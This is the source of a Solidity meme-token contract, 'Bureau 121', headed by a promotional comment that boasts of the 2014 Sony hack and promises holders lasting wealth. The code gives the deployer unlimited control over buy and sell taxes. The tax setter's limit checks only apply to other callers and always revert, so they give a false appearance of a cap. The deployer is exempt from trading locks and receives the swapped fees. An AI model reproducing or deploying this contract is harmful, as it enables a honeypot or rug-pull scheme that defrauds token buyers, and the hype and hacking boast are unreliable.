/**

You remember bureau121 when hacked sony came to be in 2014. 
the Interview movie was cancel release thanks to us. Sath 
Rogen and James Frinco will ever not dare cross Bureau121 again.

The Bureau exists for much longer before 2014 and will carry 
much history. The Bureau creates new token ($B121) with Ethereum 
for treasury and to protocol of wealth. The Bureau creates node 
for holder for earning return.

nodes for assuring live long wealthy for just to be holding the 
Bureau token. do not miss the Bureau with ethereum token or you 
will be lose much honor.

do not work to infiltrate our secret vault. our national treasures
are forever locked behind secrets

https://bureau121.space
https://t.me/bureau121ETH

*/

// SPDX-License-Identifier: unlicense

pragma solidity =0.8.18;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

}
interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract Bureau121 {
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    string public constant name = "Bureau 121";   
    string public constant symbol = "B121";   
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 1_000_000 * 10**decimals;

    uint256 buyTax = 2;
    uint256 sellTax = 2;
    uint256 constant swapAmount = totalSupply / 1000;
    uint256 constant maxWallet = 100 * totalSupply / 100;

    bool tradingOpened = false;
    bool swapping;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    address immutable pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
    address payable constant deployer = payable(address(0xc1F081fC3E1D1e807a81569bf3C600b6D5a42285));

    constructor() {
        pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), ETH);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool){
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool){
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool){
        allowance[from][msg.sender] -= amount;        
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool){
        balanceOf[from] -= amount;

        if(from != deployer)
            require(tradingOpened);

        if(to != pair && to != deployer)
            require(balanceOf[to] + amount <= maxWallet);

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
            swapping = true;
            address[] memory path = new  address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                swapAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
            deployer.transfer(address(this).balance);
            swapping = false;
        }

        if(from != address(this) && to != deployer){
            uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
            amount -= taxAmount;
            balanceOf[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(msg.sender == deployer);
        tradingOpened = true;
    }

    function setB121(uint256 newBuyTax, uint256 newSellTax) external {
        if(msg.sender == deployer){
            buyTax = newBuyTax;
            sellTax = newSellTax;
        }
        else{
            require(newBuyTax < 10);
            require(newSellTax < 10);
            revert();
        }
        
    }
}